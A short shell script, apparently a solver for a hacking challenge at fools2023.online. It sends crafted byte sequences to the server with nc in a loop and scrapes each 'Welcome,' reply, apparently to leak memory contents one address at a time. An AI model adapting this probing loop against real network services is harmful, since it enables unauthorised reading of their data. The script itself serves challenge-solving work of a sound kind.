#!/bin/sh
set -e

for x in $(seq 240 255); do
    for y in $(seq 0 255); do
        if [ $y -eq 10 ]; then
            out="$(printf 'f0%02x%02x0a710a' 9 $x | xxd -r -p | \
                nc fools2023.online 13339 | \
                grep '^Welcome,' | \
                sed -e 's/^Welcome, \([^!]*\)!*/\1/' | \
                cut -c -2)"
            echo "$out"
            continue
        fi
        out="$(printf 'f1%02x%02x0a710a' $y $x | xxd -r -p | \
            nc fools2023.online 13339 | \
            grep '^Welcome,' | \
            sed -e 's/^Welcome, \([^!]*\)!*/\1/')"
        echo "$out"
    done
done